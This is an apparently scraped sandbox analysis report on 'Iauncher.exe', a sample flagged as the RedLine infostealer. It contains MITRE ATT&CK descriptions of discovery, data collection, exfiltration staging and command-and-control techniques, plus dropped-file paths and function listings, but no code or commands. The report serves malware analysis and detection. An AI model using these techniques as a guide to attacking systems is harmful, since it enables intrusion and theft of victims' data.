Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Iauncher.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: RedLine

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\Desktop\Google Chrome.lnk

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegAsm.exe.log

C:\Users\user\AppData\Local\Temp\Tmp2498.tmp

C:\Users\user\AppData\Local\Temp\Tmp24A8.tmp

C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe

C:\Users\user\AppData\Roaming\Iauncher.zip

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2246122658-3693405117-2476756634-1003\76b53b3ec448f7ccdda2063b15d2bfc3_9e146be9-c76a-4720-bcdb-53011b87bd06

Static File Info

General

File Icon

Windows Analysis Report
Iauncher.exe

Function 05DD009F Relevance: 9.5, Strings: 2, Instructions: 6991
COMMON

Function 09CA9C54 Relevance: 9.0, Strings: 6, Instructions: 1463
COMMON

Function 05DBA520 Relevance: 6.9, Strings: 5, Instructions: 622
COMMON

Function 0101F840 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Function 09CA866C Relevance: 2.7, Strings: 2, Instructions: 247
COMMON

Function 09CA8260 Relevance: 2.7, Strings: 2, Instructions: 183
COMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre